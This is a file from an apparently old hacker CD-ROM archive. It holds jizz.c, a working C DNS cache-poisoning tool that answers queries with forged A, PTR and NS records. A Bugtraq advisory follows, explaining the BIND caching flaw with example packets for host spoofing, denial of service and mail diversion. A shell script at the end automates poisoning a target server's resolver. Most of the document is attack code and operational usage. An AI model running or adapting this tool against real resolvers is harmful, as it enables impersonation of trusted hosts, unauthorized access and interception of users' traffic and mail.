home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / jizz.c < prev    next >
C/C++ Source or Header  |  2001-11-06  |  26KB  |  858 lines

  1. #define VERSION ".01b"
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <stdarg.h>
  5. #include <strings.h>
  6. #include <errno.h>
  7. #include <sys/socket.h>
  8. #include <sys/types.h>
  9. #include <netinet/in.h>
  10.  
  11. #define MAXBUFSIZE        64*1024
  12.  
  13. #define DC_A            1
  14. #define DC_NS           2
  15. #define DC_CNAME        5
  16. #define DC_SOA          6
  17. #define DC_WKS          11
  18. #define DC_PTR          12
  19. #define DC_HINFO        13
  20. #define DC_MINFO        14
  21. #define DC_MX           15
  22. #define DC_TXT          16
  23.  
  24. typedef struct {
  25.   unsigned short id;
  26.  
  27.   unsigned char  rd:1;           /* recursion desired */
  28.   unsigned char  tc:1;           /* truncated message */
  29.   unsigned char  aa:1;           /* authoritive answer */
  30.   unsigned char  opcode:4;       /* purpose of message */
  31.   unsigned char  qr:1;           /* response flag */
  32.  
  33.   unsigned char  rcode:4;        /* response code */
  34.   unsigned char  unused:2;       /* unused bits */
  35.   unsigned char  pr:1;           /* primary server required (non standard) */
  36.   unsigned char  ra:1;           /* recursion available */
  37.  
  38.   unsigned short qdcount;
  39.   unsigned short ancount;
  40.   unsigned short nscount;
  41.   unsigned short arcount;
  42. } dnsheaderrec;
  43.  
  44. typedef struct {
  45.   unsigned short labellen;
  46.   char label[256];
  47.   unsigned short type;
  48.   unsigned short class;
  49.   unsigned long ttl;
  50.   unsigned short buflen;
  51.   char buf[256];
  52. } dnsrrrec;
  53.  
  54. typedef struct {
  55.   dnsheaderrec h;
  56.  
  57.   dnsrrrec qd[20];
  58.   dnsrrrec an[20];
  59.   dnsrrrec ns[20];
  60.   dnsrrrec ar[20];
  61. } dnsrec;
  62.  
  63. char *dnssprintflabel(char *s, char *buf, char *p);
  64. char *dnsaddlabel(char *p, char *label);
  65. void dnstxt2rr(dnsrrrec *rr, char *b);
  66. void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...);
  67. char *dnsaddbuf(char *p, void *buf, short len);
  68. int dnsmakerawpacket(dnsrec *dns, char *buf);
  69.  
  70. unsigned long rev_long(l) unsigned long l;
  71. {
  72.   unsigned long i = 0;
  73.   int n = sizeof(i);
  74.   while (n--) {
  75.     i = (i << 8) | (l & 255); l >>= 8;
  76.   }
  77.   return i;
  78. }
  79.  
  80. char *dnssprintflabel(char *s, char *buf, char *p)
  81. {
  82.   unsigned short i,len;
  83.   char *b=NULL;
  84.  
  85.   len=(unsigned short)*(p++);
  86.   while (len) {
  87.     while (len >= 0xC0) {
  88.       if (!b)
  89.         b=p+1;
  90.       p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000);
  91.       len=(unsigned short)*(p++);
  92.     }
  93.  
  94.     for (i=0;i<len;i++)
  95.       *(s++)=*(p++);
  96.  
  97.     *(s++)='.';
  98.  
  99.     len=(unsigned short)*(p++);
  100.   }
  101.  
  102.   *(s++)=0;
  103.   if (b)
  104.     return(b);
  105.  
  106.   return(p);
  107. }
  108.  
  109. char *dnsaddlabel(char *p, char *label)
  110. {
  111.   char *p1;
  112.  
  113.   while ((*label) && (label)) {
  114.     if ((*label == '.') && (!*(label+1)))
  115.       break;
  116.  
  117.     p1=strchr(label,'.');
  118.  
  119.     if (!p1)
  120.       p1=strchr(label,0);
  121.  
  122.     *(p++)=p1-label;
  123.     memcpy(p,label,p1-label);
  124.     p+=p1-label;
  125.  
  126.     label=p1;
  127.     if (*p1)
  128.       label++;
  129.   }
  130.   *(p++)=0;
  131.  
  132.   return(p);
  133. }
  134.  
  135. #define DEFAULTTTL 60*10
  136.  
  137. void dnstxt2rr(dnsrrrec *rr, char *b)
  138. {
  139.   char *tok[20], *p;
  140.   unsigned short numt=0, i;
  141.   static char *buf=NULL;
  142.  
  143.   if (!buf) {
  144.     if ((buf=malloc(1024)) == NULL) {
  145.       perror("malloc");
  146.       exit(-1);
  147.     }
  148.   }
  149.  
  150.   strcpy(buf,b);
  151.   p=strtok(buf," \t");
  152.   do {
  153.     tok[numt++]=p;
  154.   } while (p=strtok(NULL," \t"));
  155.  
  156.   p=dnsaddlabel(rr->label,tok[0]);
  157.   rr->labellen=p-rr->label;
  158.  
  159.   i=1;
  160.  
  161.   if (isdigit(*p))
  162.     rr->ttl=htonl(atol(tok[i++]));
  163.    else
  164.     rr->ttl=htonl(DEFAULTTTL);
  165.  
  166.   if (strcmp(tok[i],"IN") == 0)
  167.     i++;
  168.  
  169.   rr->class=htons(1);
  170.  
  171.   if (strcmp(tok[i],"A") == 0) {
  172.     i++;
  173.     rr->type=htons(DC_A);
  174.     if (i < numt) {
  175.       inet_aton(tok[i],rr->buf);
  176.       rr->buflen=4;
  177.     } else
  178.       rr->buflen=0;
  179.     return;
  180.   }
  181.  
  182.   if (strcmp(tok[i],"CNAME") == 0) {
  183.     i++;
  184.     rr->type=htons(DC_CNAME);
  185.     if (i < numt) {
  186.       p=dnsaddlabel(rr->buf,tok[i]);
  187.       rr->buflen=p-rr->buf;
  188.     } else
  189.       rr->buflen=0;
  190.     return;
  191.   }
  192.  
  193.   if (strcmp(tok[i],"NS") == 0) {
  194.     i++;
  195.     rr->type=htons(DC_NS);
  196.     if (i < numt) {
  197.       p=dnsaddlabel(rr->buf,tok[i]);
  198.       rr->buflen=p-rr->buf;
  199.     } else
  200.       rr->buflen=0;
  201.     return;
  202.   }
  203.  
  204.   if (strcmp(tok[i],"PTR") == 0) {
  205.     i++;
  206.     rr->type=htons(DC_PTR);
  207.     if (i < numt) {
  208.       p=dnsaddlabel(rr->buf,tok[i]);
  209.       rr->buflen=p-rr->buf;
  210.     } else
  211.       rr->buflen=0;
  212.     return;
  213.   }
  214.  
  215.   if (strcmp(tok[i],"MX") == 0) {
  216.     i++;
  217.     rr->type=htons(DC_MX);
  218.     if (i < numt) {
  219.       p=rr->buf;
  220.       *((unsigned short *)p)=htons(atoi(tok[i++])); p+=2;
  221.       p=dnsaddlabel(p,tok[i]);
  222.       rr->buflen=p-rr->buf;
  223.     } else
  224.       rr->buflen=0;
  225.     return;
  226.   }
  227. }
  228.  
  229. void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...)
  230. {
  231.   int i;
  232.   va_list va;
  233.  
  234.   dns->h.qdcount=htons(qdcount);
  235.   dns->h.ancount=htons(ancount);
  236.   dns->h.nscount=htons(nscount);
  237.   dns->h.arcount=htons(arcount);
  238.   dns->h.rcode=0;
  239.  
  240.   va_start(va, arcount);
  241.  
  242.   for (i=0;i<qdcount;i++)
  243.     dnstxt2rr(&dns->qd[i],va_arg(va, char *));
  244.  
  245.   for (i=0;i<ancount;i++)
  246.     dnstxt2rr(&dns->an[i],va_arg(va, char *));
  247.  
  248.   for (i=0;i<nscount;i++)
  249.     dnstxt2rr(&dns->ns[i],va_arg(va, char *));
  250.  
  251.   for (i=0;i<arcount;i++)
  252.     dnstxt2rr(&dns->ar[i],va_arg(va, char *));
  253.  
  254.  
  255.   va_end(va);
  256. }
  257.  
  258. char *dnsaddbuf(char *p, void *buf, short len)
  259. {
  260.   memcpy(p,buf,len);
  261.   return(p+len);
  262. }
  263.  
  264. int dnsmakerawpacket(dnsrec *dns, char *buf)
  265. {
  266.   char *p;
  267.   int i;
  268.   unsigned short len;
  269.  
  270.   memcpy(buf,&dns->h,sizeof(dnsheaderrec));
  271.  
  272.   p=buf+sizeof(dnsheaderrec);
  273.  
  274.   /********** Query ***********/
  275.   for (i=0;i<ntohs(dns->h.qdcount);i++) {
  276.     p=dnsaddbuf(p,dns->qd[i].label,dns->qd[i].labellen);
  277.     p=dnsaddbuf(p,&dns->qd[i].type,2);
  278.     p=dnsaddbuf(p,&dns->qd[i].class,2);
  279.   }
  280.  
  281.   /********** Answer ***********/
  282.   for (i=0;i<ntohs(dns->h.ancount);i++) {
  283.     p=dnsaddbuf(p,dns->an[i].label,dns->an[i].labellen);
  284.     p=dnsaddbuf(p,&dns->an[i].type,2);
  285.     p=dnsaddbuf(p,&dns->an[i].class,2);
  286.     p=dnsaddbuf(p,&dns->an[i].ttl,4);
  287.     len=htons(dns->an[i].buflen);
  288.     p=dnsaddbuf(p,&len,2);
  289.     p=dnsaddbuf(p,dns->an[i].buf,dns->an[i].buflen);
  290.   }
  291.  
  292.   /********** Nameservers ************/
  293.   for (i=0;i<ntohs(dns->h.nscount);i++) {
  294.     p=dnsaddbuf(p,dns->ns[i].label,dns->ns[i].labellen);
  295.     p=dnsaddbuf(p,&dns->ns[i].type,2);
  296.     p=dnsaddbuf(p,&dns->ns[i].class,2);
  297.     p=dnsaddbuf(p,&dns->ns[i].ttl,4);
  298.     len=htons(dns->ns[i].buflen);
  299.     p=dnsaddbuf(p,&len,2);
  300.     p=dnsaddbuf(p,dns->ns[i].buf,dns->ns[i].buflen);
  301.   }
  302.  
  303.   /********** Additional ************/
  304.   for (i=0;i<ntohs(dns->h.arcount);i++) {
  305.     p=dnsaddbuf(p,dns->ar[i].label,dns->ar[i].labellen);
  306.     p=dnsaddbuf(p,&dns->ar[i].type,2);
  307.     p=dnsaddbuf(p,&dns->ar[i].class,2);
  308.     p=dnsaddbuf(p,&dns->ar[i].ttl,4);
  309.     len=htons(dns->ar[i].buflen);
  310.     p=dnsaddbuf(p,&len,2);
  311.     p=dnsaddbuf(p,dns->ar[i].buf,dns->ar[i].buflen);
  312.   }
  313.  
  314.   return(p-buf);
  315. }
  316.  
  317. void main(int argc, char *argv[])
  318. {
  319.   int sock, fromlen, numread, len, query;
  320.   struct sockaddr_in sa, from, to;
  321.   struct in_addr rev;
  322.   char *buf, *sendbuf;
  323.   char *domainnamebuf;
  324.   dnsheaderrec *dns;
  325.   char *p;
  326.   dnsrec dnsh;
  327.  
  328.   char *beginhost_QD, *beginhost_A, *beginhost_srch;
  329.   char *fakenshost_A, *fakens_DOM;
  330.   char *spoofedip_A, *spoofedip_PTR, *spoofedip_rev;
  331.  
  332.   printf("jizz %s -- dns spoofer (BIND cache vuln.)\n",VERSION);
  333.   printf("by nimrood\n\n");
  334.   if (argc != 7) {
  335.     printf("usage: \n%s <beginhost> <fakenshost> <fakensip> <fakensdom> <spoofedip> <spoofedhost>\n",argv[0]);
  336.     printf("    beginhost  :     requested to initiate false caching, ex: begin.ib6ub9.com\n");
  337.     printf("    fakenshost :     server name to answer false PTR's, ex: ns.ib6ub9.com\n");
  338.     printf("    fakensip   :     IP of server name to answer false PTR's, ex: 205.160.29.19\n");
  339.     printf("    fakensdom  :     domain name false name server controls, ex: ib6ub9.com\n");
  340.     printf("    spoofedip  :     IP of machine you want to spoof from, ex: 204.154.2.93\n");
  341.     printf("    spoofedhost:     name you want to spoof, ex: teak.0wns.j00\n\n");
  342.     exit(-1);
  343.   }
  344.  
  345.   if ((beginhost_QD = malloc((strlen(argv[1]))+5+1)) == NULL) {
  346.     perror("malloc");
  347.     exit(-1);
  348.   }
  349.  
  350.   if ((beginhost_A = malloc(strlen(argv[1])+15+1)) == NULL) {
  351.     perror("malloc");
  352.     exit(-1);
  353.   }
  354.  
  355.   if ((beginhost_srch = malloc(strlen(argv[1])+1+1)) == NULL) {
  356.     perror("malloc");
  357.     exit(-1);
  358.   }
  359.  
  360.   if ((fakenshost_A = malloc(strlen(argv[2])+strlen(argv[3])+6+1)) == NULL) {
  361.     perror("malloc");
  362.     exit(-1);
  363.   }
  364.  
  365.   if ((fakens_DOM = malloc(strlen(argv[4])+strlen(argv[2])+4+1)) == NULL) {
  366.     perror("malloc");
  367.     exit(-1);
  368.   }
  369.  
  370.   if ((spoofedip_A = malloc(strlen(argv[6])+strlen(argv[5])+6+1)) == NULL) {
  371.     perror("malloc");
  372.     exit(-1);
  373.   }
  374.  
  375.   if ((spoofedip_PTR = malloc(strlen(argv[5])+strlen(argv[6])+21+1)) == NULL) {
  376.     perror("malloc");
  377.     exit(-1);
  378.   }
  379.  
  380.   if ((spoofedip_rev = malloc(strlen(argv[5])+1)) == NULL) {
  381.     perror("malloc");
  382.     exit(-1);
  383.   }
  384.  
  385.   if ((buf = malloc(MAXBUFSIZE)) == NULL) {
  386.     perror("malloc");
  387.     exit(-1);
  388.   }
  389.  
  390.   if ((sendbuf = malloc(MAXBUFSIZE)) == NULL) {
  391.     perror("malloc");
  392.     exit(-1);
  393.   }
  394.  
  395.   if ((domainnamebuf = malloc(MAXBUFSIZE)) == NULL) {
  396.     perror("malloc");
  397.     exit(-1);
  398.   }
  399.  
  400.   if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
  401.     perror("socket");
  402.     exit(-1);
  403.   }
  404.  
  405.   beginhost_QD = strcpy(beginhost_QD,argv[1]);
  406.   beginhost_QD = strcat(beginhost_QD, " IN A");
  407.  
  408.   beginhost_A = strcat(strcpy(beginhost_A,beginhost_QD), " 127.0.0.1");
  409.   
  410.   beginhost_srch = strcat(strcpy(beginhost_srch,argv[1]), ".");
  411.   printf("%s\n",beginhost_srch);
  412.  
  413.   fakenshost_A = strcat(strcpy(fakenshost_A,argv[2]), " IN A ");
  414.   fakenshost_A = strcat(fakenshost_A, argv[3]);
  415.  
  416.   fakens_DOM = strcat(strcpy(fakens_DOM,argv[4]), " IN NS ");
  417.   fakens_DOM = strcat(fakens_DOM,argv[2]);
  418.  
  419.   spoofedip_A = strcat(strcpy(spoofedip_A,argv[6]), " IN A ");
  420.   spoofedip_A = strcat(spoofedip_A,argv[5]);
  421.  
  422.   rev.s_addr = rev_long(inet_addr(argv[5]));
  423.   spoofedip_PTR = strcat(strcpy(spoofedip_PTR,(char *)inet_ntoa(rev.s_addr)), ".IN-ADDR.ARPA IN PTR ");
  424.   spoofedip_PTR = strcat(spoofedip_PTR,argv[6]);
  425.   
  426.   printf("%s\n%s\n%s\n%s\n%s\n%s\n",
  427.     beginhost_QD,beginhost_A,fakenshost_A,fakens_DOM,spoofedip_A,spoofedip_PTR);
  428.  
  429.   sa.sin_family = AF_INET;
  430. /*  sa.sin_addr.s_addr = inet_addr(DEFAULTBINDHOST); */
  431.   sa.sin_addr.s_addr = INADDR_ANY;
  432.   sa.sin_port = htons(53);
  433.   
  434.   if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
  435.     perror("bind");
  436.     exit(-1);
  437.   }
  438.  
  439.   setvbuf(stdout,NULL,_IONBF,0);
  440.  
  441.   while (1) {
  442.     fromlen=sizeof(from);
  443.     if ((numread = recvfrom(sock, buf, MAXBUFSIZE, 0, (struct sockaddr *)&from, &fromlen)) < 0) {
  444.       perror("recvfrom");
  445.       continue;
  446.     }
  447.  
  448.     /* Kludge to stop that damn router */
  449.     if (from.sin_addr.s_addr == inet_addr("206.126.32.10"))
  450.       continue;
  451.  
  452.     dns=(dnsheaderrec *)buf;
  453.  
  454.     if (dns->qr)
  455.       continue;
  456.  
  457.     p=dnssprintflabel(domainnamebuf,buf,&buf[sizeof(dnsheaderrec)]);
  458.     query=ntohs(*(unsigned short *)p);
  459.     printf("Packet from %s : %d : %s (%d)\n",inet_ntoa(from.sin_addr),ntohs(from.sin_port),domainnamebuf,query);
  460.  
  461.     if (strcasecmp(domainnamebuf,beginhost_srch) == 0) {
  462.       dnsbuildpacket(&dnsh,1,4,1,1,
  463.     beginhost_QD,
  464.  
  465.     beginhost_A,
  466.     spoofedip_A,
  467.     spoofedip_PTR,
  468.      fakenshost_A,
  469.  
  470.         fakens_DOM,
  471.  
  472.     "www.yahoo.com IN A 255.255.255.255");
  473.  
  474.     } else {
  475.       /* Error */
  476.       dnsh.h.rcode=5;
  477.       strcat(domainnamebuf," IN A");
  478.       dnsbuildpacket(&dnsh,1,0,0,0,
  479.         domainnamebuf);
  480.     }
  481.     dnsh.qd[0].type=htons(query);
  482.  
  483.     dnsh.h.id=((dnsheaderrec *)buf)->id;
  484.     dnsh.h.qr=1;
  485.     dnsh.h.aa=1;
  486.     
  487.     len=dnsmakerawpacket(&dnsh,sendbuf);
  488.  
  489.     to.sin_family=AF_INET;
  490.     to.sin_addr.s_addr=from.sin_addr.s_addr;
  491.     to.sin_port=from.sin_port;
  492.  
  493.     if (sendto(sock,sendbuf,len,0,(struct sockaddr *)&to,sizeof(to)) < 0) {
  494.       perror("sendto");
  495.       continue;
  496.     }
  497.   }
  498. }
  499.  
  500.  
  501.  
  502.  
  503.  
  504.  
  505.  
  506.  
  507.  
  508.  
  509.  
  510.  
  511.  
  512.  
  513. -----------------------------------------------------------------------------
  514.  
  515.  
  516.  
  517.                        Info about DNS abuse from BUGTRAQ
  518.  
  519.  Since SNI has released that paper and stole all of the thunder out of my
  520.  advisory, I'll post a couple of things in addition to their advisory.
  521.  There's a couple of things in this post and it's semi long.
  522.  
  523.  There's a MUCH easier way of caching RR's. As long as the nameserver is
  524.  older than 4.9.5+P1 which is > 90% of the net. I explained it in a paper I
  525.  wrote last year I sent it off to Paul Vixie to get a reply (and possibly a
  526.  patch) to the problem. The problem is basically this: BIND will cache
  527.  ANYTHING that it gets in the return packet. This advisory was
  528.  partially leaked to nanog and is known to have been leaked to a number
  529.  of other people. Here it is from my original advisory (complete with
  530.  spelling and grammar mistakes):
  531.  
  532.  [BEGIN EXCERPT]
  533.  
  534.  4) Explanation of bug
  535.  
  536.  During the caching of the information of answer returned from a recursive
  537.  query it will cache everything that is returned in the answer, name server
  538.  and additional sections. The way to exploit this bug is trivial. As an
  539.  example, a daemon running on 123.45.67.89 wants to determine the domain
  540.  name of the IP which just had connected to it. This is a common practice
  541.  done by many daemons for logging purposes. A user on the machine
  542.  38.222.74.2 connects to the rlogin port of 123.45.67.89. The DNS server
  543.  that 123.45.67.89 uses is 98.76.54.32. 123.45.67.89 sends out a query to
  544.  98.76.54.32 asking for a PTR record:
  545.  
  546.  123.45.67.89 -> 98.76.54.32     [Query]
  547.  NQY: 1  NAN: 0  NNS: 0  NAD: 0
  548.  QY: 2.74.222.38.in-addr.arpa    PTR
  549.  
  550.  The name server at 98.76.54.32 has no information on that domain. After a
  551.  couple of more queries, it comes to find that 38.222.74.2 and 38.222.74.10
  552.  are authoritative name servers for 74.222.38.in-addr.arpa. It then sends a
  553.  query out to one of them:
  554.  
  555.  98.76.54.32 -> 38.222.74.2      [Query]
  556.  NQY: 1  NAN: 0  NNS: 0  NAD: 0
  557.  QY: 2.74.222.38.in-addr.arpa    PTR
  558.  
  559.  The DNS server at 38.222.74.2 receives the query and then answers it:
  560.  
  561.  38.222.74.2 -> 98.76.54.32      [Answer]
  562.  NQY: 1  NAN: 2  NNS: 2  NAD: 2
  563.  QY: 2.74.222.38.in-addr.arpa    PTR
  564.  AN: 2.74.222.38.in-addr.arpa    PTR     trusted.host.com
  565.  AN: trusted.host.com            A       38.222.74.2
  566.  NS: 74.222.38.in-addr.arpa      NS      ns.sventech.com
  567.  NS: 74.222.38.in-addr.arpa      NS      ns1.sventech.com
  568.  AD: ns.sventech.com             A       38.222.74.2
  569.  AD: ns1.sventech.com            A       38.222.74.10
  570.  
  571.  When the DNS server at 98.76.54.32 gets the answer, it will relay this
  572.  packet back to 123.45.67.89, the original querying machine. It will also,
  573.  take the answer, the name servers, and the additional sections and cache
  574.  them.
  575.  
  576.  Now that it has a domain name for the IP, and since the service is rlogin,
  577.  the daemon will now check the /etc/hosts.equiv file to see if this host is
  578.  allowed access to the machine. However, spoofing, as this technique is
  579.  commonly called, a PTR record has been known about for years. TCP wrappers
  580.  for instance try to fix this problem by doing a lookup on the domain name
  581.  returned in the original query and checking the 2 IP addresses. If they
  582.  don't match then it assumes that someone is trying to fake their PTR
  583.  record to gain unauthorized access. However, when tcpd does the lookup for
  584.  the A record:
  585.  
  586.  123.45.67.89 -> 98.76.54.32     [Query]
  587.  NQY: 1  NAN: 0  NNS: 0  NAD: 0
  588.  QY: trusted.host.com            A
  589.  
  590.  The DNS server at 98.76.54.32 will return the information which it had
  591.  cached earlier when the 2.74.222.38.in-addr.arpa answer was returned:
  592.  
  593.  98.76.54.32 -> 123.45.67.89     [Query]
  594.  NQY: 1  NAN: 1  NNS: 2  NAD: 2
  595.  QY: trusted.host.com            A
  596.  AN: trusted.host.com            A       38.222.74.2
  597.  NS: 74.222.38.in-addr.arpa      NS      ns.sventech.com
  598.  NS: 74.222.38.in-addr.arpa      NS      ns1.sventech.com
  599.  AD: ns.sventech.com             A       38.222.74.2
  600.  AD: ns1.sventech.com            A       38.222.74.10
  601.  
  602.  Now tcpd thinks that the user at 38.222.74.2 is actually trusted.host.com
  603.  when they are really someone else. This can lead to unauthorized access to
  604.  a system which does all authentication based on domain name.
  605.  
  606.  4) Denial of service
  607.  
  608.  Let's take the original 2.74.222.38.in-addr.arpa query and modify it
  609.  slightly:
  610.  
  611.  38.222.74.2 -> 98.76.54.32      [Answer]
  612.  NQY: 1  NAN: 2  NNS: 2  NAD: 2
  613.  QY: 2.74.222.38.in-addr.arpa    PTR
  614.  AN: 2.74.222.38.in-addr.arpa    PTR     trusted.host.com
  615.  AN: www.company.com             A       0.0.0.1
  616.  NS: 74.222.38.in-addr.arpa      NS      ns.sventech.com
  617.  NS: 74.222.38.in-addr.arpa      NS      ns1.sventech.com
  618.  AD: ns.sventech.com             A       38.222.74.2
  619.  AD: ns1.sventech.com            A       38.222.74.10
  620.  
  621.  Now whenever some queries the DNS server at 98.76.54.32 for information
  622.  about www.company.com then they will be pointing at 0.0.0.1 which is a non
  623.  existant IP address which no one will respond to. Effectively denying
  624.  service to the people who wish to get to www.company.com.
  625.  
  626.  5) Theft of services
  627.  
  628.  Let's take the 2.74.222.38.in-addr.arpa query one more time as an example:
  629.  
  630.  38.222.74.2 -> 98.76.54.32      [Answer]
  631.  NQY: 1  NAN: 3  NNS: 2  NAD: 2
  632.  QY: 2.74.222.38.in-addr.arpa    PTR
  633.  AN: 2.74.222.38.in-addr.arpa    PTR     trusted.host.com
  634.  AN: www.company.com             CNAME   www.competitor.com
  635.  AN: company.com                 MX      0 mail.competitor.com
  636.  NS: 74.222.38.in-addr.arpa      NS      ns.sventech.com
  637.  NS: 74.222.38.in-addr.arpa      NS      ns1.sventech.com
  638.  AD: ns.sventech.com             A       38.222.74.2
  639.  AD: ns1.sventech.com            A       38.222.74.10
  640.  
  641.  Now, whenever someone wishes to visit www.competitor.com, they are instead
  642.  diverted to a thrid party, possibly hostile site. In this case, to a
  643.  competitors web site. If someone were to send email to company.com, it
  644.  would go to mail.company.com instead where a competitor could get
  645.  information which is supposed to be destined to www.company.com.
  646.  
  647.  6) Limitations
  648.  
  649.  There a couple of limitations to this particular attack. One cannot
  650.  "replace" DNS information that is already in the cache. For instance, say
  651.  DNS server 98.76.54.32 has a CNAME record for www.company.com already and
  652.  I try to replace it with www.competitor.com, it will not work. However,
  653.  there are pieces of information which can be "added" to. For instance, A
  654.  records can be "added" to. If www.company.com has instead an A record to
  655.  1.2.3.4 and I send an A record of 4.3.2.1 in my packet, www.company.com
  656.  will now have the IP addresses 1.2.3.4 and 4.3.2.1 which will be
  657.  "randomly" picked between the two whenever someone queries
  658.  www.company.com. This can be circumvented with a little patience. For
  659.  instance, www.altavista.digital.com has a TTL of 7200. That means, the DNS
  660.  server will only cache the information for www.altavista.digital.com for
  661.  7200 seconds or 2 hours. If we put an A record which has an TTL of 604800
  662.  or 1 week, then we can effiectively "outlive" the real cached information.
  663.  After 2 hours, then our bad information is the only thing left and the DNS
  664.  server will then start giving out bad information. Here is a list of the
  665.  most commonly used "addable" and non-"addable" DNS records:
  666.  
  667.  A       can add
  668.  NS      can add
  669.  MX      can add
  670.  PTR     cannot add
  671.  CNAME   cannot add
  672.  
  673.  [END EXCERPT]
  674.  
  675.  In addition to this problem, 4.9.5+P1 (and probably some derivation of
  676.  in older versions) has another problem. Even tho it fixes these problems
  677.  it still passes the packet generally untouched onto the remote end. If the
  678.  other end does any caching, it'll cache the bad stuff. Also, if the PTR
  679.  record has a bad domain name, it'll use it. (I thought this was fixed in
  680.  4.9.4?) All of this stems from the fact, that bind basically doesn't touch
  681.  the packet when it resends it off to the original querying machine.
  682.  
  683.  Right now, this is playing havok on IRC networks since the ircd server has
  684.  it's own resolver library and does some basic caching. Not to mention the
  685.  fact that the IRC protocol stream is \n terminated and you can put \n's in
  686.  domain names this way.
  687.  
  688.  Now that SNI has broken the silence (and my thunder by releasing first)
  689.  I'll explain another "hypothetical" attack. The InterNIC is very dependant
  690.  on email. In fact, when someone goes to update a domain, they will send
  691.  the change notice to the contacts. What if someone had cached an MX record
  692.  on the DNS servers the internic uses to do recursive queries so that when
  693.  sendmail goes to send the message, it'll be delivered to another machine
  694.  and it just eats it. (btw - that DNS server was mtsfs.internic.net as of a
  695.  couple of weeks ago)
  696.  
  697.  Even better is this statement in their template:
  698.  
  699.  7.3. Request from a Sender not listed as a Contact
  700.  
  701.     All the Contacts will be notified before processing the request.  If
  702.     the InterNIC receives an ACK first before the waiting time indicated
  703.     on the Notify Template expires, the request will be processed.
  704.     Otherwise, the request will NOT be processed.
  705.  
  706.  Since you're intercepting all of that mail, you can easily ACK the mail
  707.  from the InterNIC. I'm exactly sure how to read that, but it looks like to
  708.  be if someone else sends in the update then it'll require one of the
  709.  contacts to ACKnowledge that the change is legit. I sent some email to
  710.  the InterNIC, however (after over a month) have yet to receive a reply. If
  711.  there's anyone from the InterNIC reading this, please respond to
  712.  NIC-970309.5128 sometime this century.
  713.  
  714.  Also, you can make yourself look like the email is coming from the right
  715.  person by caching the PTR/A records on their other DNS server which does
  716.  recursive queries when email comes in. (which happens to be
  717.  lists.internic.net) Not to mention that rs.internic.net (the MX for
  718.  internic.net) is IP spoofable as well. All of the info was legit a couple
  719.  of weeks ago. It may have changed now, but I'm not sure. I also won't say
  720.  if this ever has been attempted or accomplished :)
  721.  
  722.  Any questions? Please direct them to jerdfelt@sventech.com, I'm busy
  723.  working right now but I'll do my best to answer all of the email I get.
  724.  Also please forgive any grammar/spelling mistakes. I'm horrible at
  725.  English.
  726.  
  727.  BTW - All versions of sendmail blindly copy the domain name into a 514
  728.  byte buffer. I haven't gotten my PTR records to get past 420 bytes but I
  729.  have a feeling my code to build DNS packets is a little buggy.
  730.  
  731.  
  732.  
  733. -------------------------------------------------------------------------------
  734.  
  735.  
  736.  
  737.       Alot of people ask about DNS spoofing and how common utilities like
  738. "jizz" work. Jizz and the like are not generally easy utilities to use
  739. even if you do have an authorative nameserver. The idea is not simple and
  740. the instructions with such utils arn't very self explanatory. On top
  741. of that, even if you understand it completelly with any of them you have
  742. to either know what the target is using as a cacheing nameserver or
  743. otherwise make a calculated guess. I wrote a script interface tonight to
  744. the commonly available jizz binary to make it a: alot simpler to
  745. understand and b: my script will automatically try to determine the
  746. destinations nameserver and cache the domain on it, so that the only thing
  747. required to enter after the nameserver info is set up is the IP of the
  748. client, domain name you want to spoof, and destination server (IRC server
  749. or what not). The script does the rest for you.
  750.  
  751.       Please do not email me asking where to get jizz. If you don't have
  752. it I'm not going to give it to you. Also the return email in the script
  753. does not have an MX *yet* so if you want to reach me I can be found on
  754. irc efnet as philbert.
  755.  
  756. here is the script:
  757.  
  758. --- begin jizz.sh ---
  759.  
  760. #!/bin/sh
  761. #
  762. # This script requires perl and the latest version of sh-utils for calculations,
  763. # as well as other various standard unix utilities.
  764. #
  765. # This interface DOES NOT require you to know the cacheing nameserver of
  766. # the destination server, it will attempt to calculate it for you.
  767. #
  768.  
  769. case "${3}" in
  770.   "")
  771. echo
  772. echo "Intelligent DNS spoofer interface, by philbert."
  773. echo "(philbert@DataTrax.Net)"
  774. echo
  775. echo "usage: $0 <your ip> <spoofed domain> <irc/misc server>"
  776. echo "or: $0 <your ip> <spoofed domain> -ns <NS to cache fake domain>"
  777. echo
  778. exit 1
  779.   ;;
  780. esac
  781.  
  782. # ----------------------------------------------------------
  783. # Set the configurations for your nameserver here
  784.  
  785. # The name of the nameserver this is running on:
  786. NS=ns3.datatrax.net
  787.  
  788. # The IP address of the nameserver this is running on:
  789. IP=1.2.3.4
  790.  
  791. # A domain that this nameserver is strictly authorative for:
  792. AUTH=spoof.datatrax.net
  793.  
  794. # End of user configuration
  795. # ----------------------------------------------------------
  796.  
  797. RAND=$RANDOM
  798. export RAND
  799.  
  800. jizz $RAND.$AUTH. $NS $IP $AUTH $1 $2. >/dev/null &
  801. sleep 1
  802.  
  803. if [ "$3" = "-ns" ]; then
  804.  
  805. echo "echo "trying to cache $2 on $4..."
  806. nslookup -type=soa $RAND.$AUTH. $4 >/dev/null 2>&1
  807.  
  808. echo "$1 is cached on $2 as `nslookup $1 $2 | grep Name | cut -c10-`
  809.  
  810. exit 1
  811. else false ; fi
  812.  
  813. NS=`host $3. | perl -n -e 's/([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)/print $1/e'`
  814. if [ "NS" = "" ]; then NS=$3; else NS=$NS; fi
  815.  
  816. echo "trying to cache $2 on the server itself..."
  817.  
  818. nslookup -type=soa $RAND.$AUTH. $NS >/dev/null 2>&1
  819.  
  820. TEST=`nslookup $1 $3 | grep Name | cut -c10-`
  821.  
  822. if [ "$TEST" = "$2" ]; then
  823. echo "Success!, $2 is cached on $3 as $1"
  824. else echo "Failed..."; fi
  825.  
  826. RDEST=`nslookup $NS | grep Name | cut -c10-`
  827. if [ "$RDEST" = "" ]; then RDEST=$3; else RDEST=$RDEST; fi
  828.  
  829. NS=`dnsquery $RDEST | grep "IN NS" | cut -f3- | cut -f2- -dS`
  830. if [ "$NS" = "" ]; then
  831. NS=`echo $RDEST | cut -f2- -d.`
  832. NS=`dnsquery $NS | grep "IN NS" | cut -f3- | cut -f2- -dS`
  833. else NS=$NS; fi
  834.  
